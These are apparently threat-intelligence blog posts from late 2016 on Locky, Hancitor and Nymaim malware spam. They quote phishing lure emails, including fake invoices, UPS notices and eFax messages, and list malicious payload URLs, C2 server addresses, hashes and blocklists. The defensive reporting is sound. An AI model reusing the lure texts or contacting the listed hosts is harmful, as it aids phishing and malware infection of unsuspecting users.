Date:    15 December 2016 at 09:55
Subject:    Amount Payable

Dear [redacted],
The amount payable has come to $38.29. All details are in the attachment.
Please open the file when possible.


-
Best Regards,
Lynn Drake
The name of the sender will vary, although the dollar amount seems consistent in all the samples I have seen. Attached is a file with a name similar to doc_6937209.zip which contains an apparently randomly-named script in a format similar to ~_ZJR8WZ_~.js. The highly obfuscated script of one sample can be seen here. Typical detection rates for the script are around 16/54.

There are many different scripts, downloading a component from one of the following locations (thanks to my usual reliable source):

0668.com/k5bhgn
250sb.com./jynvmx
addwords.com.tr/aah6qmhv
anti-dust.ru/7k6cp
asdream.pl/gbbs1c
atio.li/exjik
bappeda.dharmasrayakab.go.id/dlhalychp
braindouble.com/uycx51ix
buhoutserts.ru/ufdazc6vv
casino-okinawa.com/ejguf
catherineduret.ch/5qpqi5ezp
chinaxw.org/xw1ju7y6zc
chungcuvinhomemydinh.com/6dvjasf
crolic88.myjino.ru/1ddig
demo.shispare.com/bvsjq
environment.ae/0od5hn
forbrent.com/h9kqgq
fyd123.cn/kib6h2d9ga
groupeelectrogeneservice.com/eefpeywf9z
hedefosgb.com/dpyzsb6u
hlonline.kentucky.com/i7z78
innercityarts.squaremdesign.com/dyo1w7
jianhu365.com/z9puqdj2eu
malamut.org/gizb2zq
obaloco.com.br/67mfj
peopleprofit.in/pyihdg
roman64.humlak.cz/7bnisgf
rulebraker.ru/zsw4cnf9o
scaune.qmagazin.ro/5hktu4h
slankmethode.nl/4zzq1am
subys.com/mjguriv80
szwanrong.com/x5qxzpjsi
tecnomundo.uy/a8rnlgzv
test1.giaiphaponline.org/0ytdjs1
test.sousouyo.com/feaetpnuee
theamericanwake.com/xw1ju7y6zc
travelinsider.com.au/mwaefb4b
trietlong.net/heyus
tx318.com/kqe4ca
ucbus.net/usdxqqt6
u-niwon.com/kmjg6j9ske
vaaren.dk/ogcz6ys0d
viscarci.com/wyqs6353
walkonwheels.net.au/qmd1uu
wdcd999.com/lm5z2snyqn
web-shuttle.in/eeo9oc
windshieldrepairvancouver.ca/qcp8k7
wiselysoft.com/qcymgbug7
wszystkodokuchni.pl/sl5yko7
wudiai.com/mc3hnwd
www.espansioneimmobiliare.com/akktnck
www.myboatplans.net/6d7ukeco6
wx.utaidu.com/1eybujbru
xlr8services.com/n970foumf
xn--k1affefe.xn--p1ai/8wzzjk24u
youspeak.pt/liowrtxs
yukngobrol.com/h7sfu
zhiyuw.com/qfbdcvrul
zwljfc.com/ld1pvjozu
zzzort10xtest123.com/nin5k3bwo

According to this Malwr analysis, a DLL is dropped with a detection rate of 18/55.  This Hybrid Analysis shows the Locky infection clearly and identifies some C2s, combining this with another source gives the following list of C2 servers:

86.110.117.155/checkupdate (Rustelekom, Russia)
185.129.148.56/checkupdate (MWTV, Latvia)
185.17.120.166/checkupdate (Rustelekom, Russia)


MWTV is a known bad host, so I recommend blocking the entire /24.

Recommended blocklist:
86.110.117.155
185.129.148.0/24
185.17.120.166


Monday 12 December 2016

Malware spam: "New(910)" leads to Locky

This spam leads to Locky ransomware:

From:    Savannah [Savannah807@victimdomain.tld]
Reply-To:    Savannah [Savannah807@victimdomain.tld]
Date:    12 December 2016 at 09:50
Subject:    New(910)

Scanned by CamScanner


Sent from Yahoo Mail on Android

The spam appears to come from a sender within the victim's own domain, but this is just a simple forgery. The attachment name is a .DOCM file matching the name in the subject. Automated analysis [1] [2] indicates that it works in a similar way to this other Locky ransomware run today.

Malware spam: "Invoice number: 947781" leads to Locky

This fake financial spam comes from multiple senders and leads to Locky ransomware:


From:    AUTUMN RHINES
Date:    12 December 2016 at 10:40
Subject:    Invoice number: 947781

Please find attached a copy of your invoice.


Tel: 0800 170 7234
Fax: 0161 850 0404

For all your stationery needs please visit Stationerybase.
The name of the sender varies, as does the fake invoice number. Attached is a .DOCM file with a filename matching that invoice number. Typical detection rates for the DOCM file are 13/56.

Automated analysis of a couple of these files [1] [2] [3] [4] show the macro downloading a component from miel-maroc.com/874ghv3  (there are probably many more locations). A DLL is dropped with a current detection rate of 11/57.

All those analyses indicate that this is Locky ransomware (Osiris variant), phoning home to:

176.121.14.95/checkupdate (Rinet LLC, Ukraine)
88.214.236.218/checkupdate (Overoptic Systems, UK / Russia)
91.219.31.14/checkupdate (FLP Kochenov Aleksej Vladislavovich aka uadomen.com, Ukraine)


Recommended blocklist:
176.121.14.95
88.214.236.218
91.219.31.14




Friday 9 December 2016

Malware spam: "Firewall Software" leads to Locky

This spam appears to come from multiple senders and leads to Locky ransomware:

From:    Herman Middleton
Date:    9 December 2016 at 07:40
Subject:    Firewall Software

Hey [redacted], it is Herman. You've asked me to order new firewall software for our office computers.
Done and ready. Here, in the attachment, is the full invoice of the software counteragent.

Please check it out.


--
King Regards,
Herman Middleton
IT Support Manager
Attached is a ZIP file with a name like f_license_5330349.zip which contains a randomly named .js script which is very highly obfuscated.

The Hybrid Analysis and Malwr report show that the script analysed downloads a component from welte.pl/mupze (there will probably be dozens of other locations) and appears to drop a DLL with a detection rate of 4/56. That Hybrid Analysis also detections C2 traffic to:

107.181.187.97/checkupdate [hostname: saluk1.example.com] (Total Server Solutions, US)
51.254.141.213/checkupdate (OVH, France)


It's worth mentioning perhaps that other Locky C2 servers seen in the past 12 hours are as follows:

91.142.90.46/checkupdate [hostname: mrn46.powerfulsecurities.com] (Miran, Russia)
195.123.209.23/checkupdate [hostame: prujio.com] (Layer6, Latvia)
185.127.24.247/checkupdate [hostname: free.example.com] (Informtehtrans, Russia)
176.121.14.95/checkupdate (Rinet LLC, Ukraine)
185.46.11.236/checkupdate (Agava, Russia)
178.159.42.248/checkupdate (Dunaevskiy Denis Leonidovich / Zomro, Ukraine)


Although some of these are from different sub-groups of Locky pushers, let's stick them all together for the sake of convenience. Note that there are a at least a couple of bad /24 blocks in there.

Recommended blocklist:
51.254.141.213
91.142.90.46
107.181.187.97
176.121.14.95
178.159.42.248
185.46.11.0/24
185.127.24.247
195.123.209.0/24


Monday 5 December 2016

Malware spam: "Shipping status changed for your parcel # 1996466" / ups@ups-service.com

This fake UPS spam has a malicious attachment:

From:    UPS Quantum View [ups@ups-service.com]
Date:    5 December 2016 at 17:38
Subject:    Shipping status changed for your parcel # 1996466

Your parcel has arrived, but we were unable to successfully deliver it because no person was present at the destination address.

There must be someone present at the destination address, on the delivery day, to receive the parcel.

Shipping type: UPS 3 Day Select
Box size: UPS EXPRESS BOX
Date : Nov 14th 2016
You can reschedule the delivery over the phone, but you will have to confirm the information on the delivery invoice.

The delivery invoice  can be downloaded from our website :
https://wwwapps.ups.com/WebTracking/view_invoice?id=1996466&delivery_date=1204&account=[redacted]

 
Thank you for shipping with UPS

Copyright © 1994-2016 United Parcel Service of America, Inc. All rights reserved.
The link in the email actually goes to a URL vantaiduonganh.vn/api/get.php?id= plus a Base 64 encoded part of the URL (e.g. aGVscGRlc2tAZmJpLmdvdg==) and it downloads a Word document with the recipients email address included in it. This type of malware is typically seen using hacked but legitimate Vietnamese sites for this stage in the infection chain.

This DOC file contains a malicious macro, the Malwr report indicates that it downloads components from:

parkovka-rostov.ru/inst.exe
stela-krasnodar.ru/wp-content/uploads/pm22.dll

Those two locations are legitimate hacked sites. This has a detection rate of 7/56 plus a DLL with a detetion rate of 37/56. The malware appears to be Hancitor / Pony / Vawtrak, phoning home to:

cothenperci.ru/borjomi/gate.php
madingtoftling.com/ls5/forum.php


Both of these are hosted on the same IP address of 185.31.160.11 (Planetahost, Russia). The following malicious domains are also hosted on the same IP:

atiline.ru
vkplitka.ru
teunugtin.ru
cyrebsedri.ru
verarsedme.ru
cothenperci.ru
undorrophan.ru
verciherthan.ru
cypegeding.com
ferabrighrob.com
nastylgilast.com
madingtoftling.com


Recommended blocklist:
185.31.160.11
parkovka-rostov.ru
stela-krasnodar.ru


Malware spam: "Please Consider This" leads to Locky

This fake financial spam leads to malware:

From:    Aimee Guy
Date:    5 December 2016 at 13:32
Subject:    Please Consider This

Dear [redacted],

Our accountants have noticed a mistake in the payment bill #DEC-5956047.
The full information regarding the mistake, and further recommendations are in the attached document.

Please confirm the amount and let us know if you have any questions.

Attached is a ZIP file with a name somewhat matching the reference in the email, containing a malicious VBS script with a filename made up in part of the date.

The scripts download another component from one of the following locations, according to my usual reliable source:

admin3.rtaf.mi.th/8765r
buhoutserts.ru/8765r
chanet.jp/8765r
guardian-angels-diva.de/8765r
haibeiwuliu.com/8765r
hzxihe.com/8765r
linghangcj.com/8765r
markettv.ro/8765r
maycongtrinhduylong.com/8765r
natashacollis.com/8765r
ruifengweb.com/8765r
rulebraker.ru/8765r
szwanrong.com/8765r
temai1.com/8765r
travelinsider.com.au/8765r
tx318.com/8765r
ucbus.net/8765r
u-niwon.com/8765r
valuationssa.com.au/8765r
vipseal.de/8765r
viscarci.com/8765r
wdcd999.com/8765r
wiky.net/8765r
windshieldrepairvancouver.ca/8765r
wiselysoft.com/8765r
wishingwellhosting.com.au/8765r
wszystkodokuchni.pl/8765r
wudiai.com/8765r
xlr8services.com/8765r
xn--pasaer-spb.pl/8765r
youspeak.pt/8765r
zhiyuw.com/8765r
zwljfc.com/8765r

It drops a payload with an MD5 of 529789f27eb971ff822989a5247474ce and a current detection rate of just 1/54. The malware then phones home to the following locations:

91.142.90.61/information.cgi [hostname: smtp-server1.ru] (Miran, Russia)
195.19.192.99/information.cgi (EkaComp, Russia)


These IPs were also used in this earlier attack.

Recommended blocklist:
185.82.217.28
91.142.90.61
195.19.192.99


Malware spam: "Emailing: _9376_924272" / "No subject" leads to ".osiris" Locky.

This spam comes in a few different variants, and it leads to Locky ransomware encrypting files with an extension ".osiris"

The more word version comes from random senders with a subject like _9376_924272 or some other randomly-numbered sequence. Attacked to that is an XLS file of the same name and it includes this body text:

Your message is ready to be sent with the following file or link
attachments:

  _9376_924272


Note: To protect against computer viruses, e-mail programs may prevent
sending or receiving certain types of file attachments.  Check your e-mail
security settings to determine how attachments are handled.
The second version has no body text and the subject No subject or (No subject). The XLS file is named in a format incorporating the date, e.g. 2016120517082126121298.xls

The macro in the malicious Excel file downloads a component from on of the following locations (according to my usual reliable source):

aetech-solutions.com/87t34f
analypia.com/87t34f
angiebundy.com/87t34f
antelope.co.uk/87t34f
cafe-bg.com/87t34f
dachbud.slask.pl/87t34f
davetoll.com/87t34f
dcareug.com/87t34f
deminico.com/87t34f
griptrix.com/87t34f
kamico.net/87t34f
kelbud.pl/87t34f
ktlelektro.cz/87t34f
laferwear.com/87t34f
masterstudio.org/87t34f
milano.koscian.pl/87t34f
paradiseinfiji.com/87t34f
rongdaistudio.com/87t34f
rsaf.cz/87t34f
sevenseas.lk/87t34f
soulscooter.com/87t34f
sparky.com/87t34f
ssivendorinformation.com/87t34f
sublimeshop.co.uk/87t34f
subys.com/87t34f
tppsk.marcinczaja.pl/87t34f
tybor.hu/87t34f
waat.co.uk/87t34f
www.riojadental.com/87t34f
www.stavros.ca/87t34f
zealcon.com/87t34f

You can see some of the things done in these two Malwr reports [1] [2]. The Locky ransomware dropped then phones home to one of the following locations:

185.82.217.28/checkupdate [hostname: olezhkakovtony11.example.com] (ITL, Bulgaria)
91.142.90.61/checkupdate (Miran, Russia)
195.19.192.99/checkupdate (OOO EkaComp, Russia)


Recommended blocklist:
185.82.217.28
91.142.90.61
195.19.192.99




Tuesday 29 November 2016

Fake eFax spam uses hacked Sharepoint to spread malware

This fake fax leads to a malicious ZIP file:

From:    eFax [message@inbound-efax.org]
Date:    29 November 2016 at 16:01
Subject:    eFax message from "61 2 97855412" - 2 page(s)


Fax Message

You have received a 2 page fax at 11/29/2016 5:01:13 PM.

* The reference number for this fax is syd1_did12-5405183509-083357256-5.

Click here to view this fax message.

Please visit www.efax.com/en/online_fax_FAQ if you have any questions regarding this message or your service.

Thank you for using the eFax service!
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This account is subject to the terms listed in the eFax® Customer Agreement.


The link in the email goes to a hacked Sharepoint account, in this case:

https://supremeselfstorage-my.sharepoint.com/personal/andrew_supremeselfstorage_com_au/_layouts/15/guestaccess.aspx?guestaccesstoken=GTQPc%2brKLAsKHba4nXtvl0hXrBsUmCUxoYGuu9msk0U%3d&docid=0c4b96dfd3319496a8feb1a56d88de679&rev=1

It seems to belong to a legitimate company, but maybe one that has suffered an Office 365 compromise.

The ZIP file it leads to is named Fax_11292016.zip (there may be other versions) containing two identical scripts named

Fax_11292016_page1.js
Fax_11292016_page2.js

that look like this. Hybrid Analysis of the script indicates this is Nymaim, downloading a component from:

siliguribarassociation.org/images/staffs/documetns.png

A malicious EXE is dropped with an MD5 of bdf952b2388bf429097b771746395a4c and a detection rate of 9/56. The malware then phones home to:

stengeling.com/20aml/index.php

The domain stengeling.com appears to have been created for this malware and has anonymous registration details. It is apparently multihomed on the following IPs:

4.77.129.110
18.17.224.92
31.209.107.100
37.15.90.12
43.132.208.7
45.249.111.213
52.61.200.235
61.25.216.8
67.25.164.206
74.174.194.169
88.214.198.162
92.74.29.236
111.241.115.90
115.249.171.24
119.71.196.177
135.55.94.211
143.99.241.18
147.89.60.135
156.180.11.60
162.74.9.51
168.227.171.254
176.114.21.171
184.131.179.44
207.77.174.212

Each of those IPs appears to be a hacked legitimate host, with a high turnover of IPs. Those IPs appear to be associated with the following domains that may be worth blocking:

butestsis.com
sievecnda.com
specsotch.com
crileliste.com
stengeling.com


Malware spam: "Please find attached a XLS Invoice 378296" / creditcontrol@somecompany.com / Ansell Lighting

This fake financial spam comes with a malicious attachment, purporting to come from Ansell Lighting:

Subject:     Please find attached a XLS Invoice 378296
From:     creditcontrol@potomachealthcare.com (creditcontrol@potomachealthcare.com)
Date:     Tuesday, 29 November 2016, 10:32

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.

Please find attached your Invoice for Goods/Services recently delivered. If you have any questions, then pleasedo not hesitate in contacting us.Karen Lightfoot -Credit Controller, Ansell Lighting, Unit 6B, Stonecross Industrial Park, Yew Tree Way, WA3 3JD. Tel: +44 (0)5216 154 830 Fax: +44 (0)5216 154 830

The email comes from a random creditcontrol@something email address. Attached is a malicious Excel file with a name such as INVOICE.TAM_378296_20161129_886C9EAB6.xls.

My usual reliable source says that the various versions of Excel spreadsheet download a component form one of the following locations:

ayurvedic.by/087gbdv4
pregnancysquare.com/087gbdv4
qiqi-store.com/087gbdv4
roberttrocina.com/087gbdv4
satherm.pt/087gbdv4
sayvir.com/087gbdv4
secotral.fr/087gbdv4
semeystvo.com.ua/087gbdv4
spookmedia.nl/087gbdv4
sp-tulun.ru/087gbdv4
stocktradex.com/087gbdv4
swkitchens.com.au/087gbdv4
thegarageteam.gr/087gbdv4
tyfastener.com/087gbdv4

The Hybrid Analysis shows that this is Locky ransomware, phoning home to:

185.115.140.210/information.cgi [hostname: nikita.grachev.81.example.com] (Megaserver LLC, Russia)
213.32.90.193/information.cgi [hostname:  sbg.13.vds.abcvg.ovh] (OVH, France)
95.213.195.123/information.cgi (Selectel SPb, Russia)


A DLL is dropped with an MD5 of b46f0fcb0f962f41b5b43725b440dabb and a VirusTotal detection rate of 11/57.

Recommended blocklist:
185.115.140.210
213.32.90.193
95.213.195.123